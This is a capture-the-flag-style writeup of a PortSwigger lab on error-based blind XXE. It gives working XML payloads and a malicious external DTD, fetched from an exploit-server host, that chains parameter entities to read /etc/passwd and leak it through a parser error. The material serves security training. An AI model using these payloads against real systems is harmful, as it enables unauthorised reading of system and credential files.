| Field | Value |
|---|---|
| Platform | PortSwigger Web Security Academy |
| Type | Blind XXE — Error-Based Data Retrieval via External DTD |
| Difficulty | Practitioner |
| Objective | Retrieve /etc/passwd via an XML parser error message |
Exploiting Blind XXE to Retrieve Data via Error Messages — Writeup¶
Initial Observation¶
Same stock check endpoint, same XML format. Injecting teto into productId:
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck><productId>teto</productId><storeId>teto</storeId></stockCheck>
Response: Invalid product ID — nothing reflected.
Trying a general external entity:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE teto [<!ENTITY miku SYSTEM "tetoooo">]>
<stockCheck><productId>&miku;</productId><storeId>&miku;</storeId></stockCheck>
Response: Entities are not allowed for security reasons
Trying a parameter entity pointing at the exploit server:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE teto [<!ENTITY % miku SYSTEM "https://exploit-0a400084049abc2e8268fb4f01a4002d.exploit-server.net/exploit"> %miku;]>
<stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>
The exploit server log shows the connection arriving:
But the response is interesting — it surfaces an XML parser error directly in the output:
XML parser exited with error: org.xml.sax.SAXParseException; systemId: https://exploit-0a400084049abc2e8268fb4f01a4002d.exploit-server.net/exploit; lineNumber: 1; columnNumber: 1; The markup declarations contained or pointed to by the document type declaration must be well-formed.
The error message is verbose and includes the systemId — the URL the parser tried to fetch. The application leaks parser errors to the user. We can weaponize that.
Understanding the Error-Based Technique¶
In the previous lab we exfiltrated data out-of-band via HTTP — the file contents traveled in a Collaborator URL. This lab takes a different approach: instead of sending the data somewhere, we make the parser throw an error that includes the data in the error message itself.
The trick is pointing %exfil at a path that doesn't exist but includes the file contents in the URL:
file:///tetodoesnotexist/%file;
When the parser tries to resolve this, it substitutes %file; with the actual contents of /etc/passwd, then attempts to load a file at that path. That path doesn't exist, so the parser throws a FileNotFoundException — but the error message contains the full path it tried to load, which now includes the file contents. The application surfaces that error in the response.
The same % trick from the previous lab is needed to nest the %exfil declaration inside %eval:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'file:///tetodoesnotexist/%file;'>">
%eval;
%exfil;
%file captures /etc/passwd contents → %eval expands to declare %exfil with those contents embedded in a nonexistent path → %exfil causes the parser to attempt loading that path → the load fails → the error message leaks the path → the application returns the error → we read the file.
Attack Path¶
Storing the malicious DTD on the exploit server and sending the trigger request from Repeater. The response contains /etc/passwd in the parser error:
Displaying the file will solve de lab 0,0
Key Takeaways¶
- Error-based XXE is an alternative to out-of-band exfiltration when a Collaborator callback isn't available or practical. As long as the application surfaces verbose parser errors, the file contents can ride in the error message instead of an HTTP request.
- The nonexistent path trick (
file:///doesnotexist/%file;) forces a guaranteed parse error that contains the file contents. The parser substitutes%file;before attempting the load, so the error message reflects whatever the entity resolved to. - This technique has a size limitation — very large files may get truncated in error output. For
/etc/passwdit's usually fine; for binary files or large configs it may not be. - The chain structure is identical to the previous lab (
%file→%eval→%exfilvia%). The only difference is the final%exfilURI: instead of pointing at Collaborator, it points at a nonexistent local path.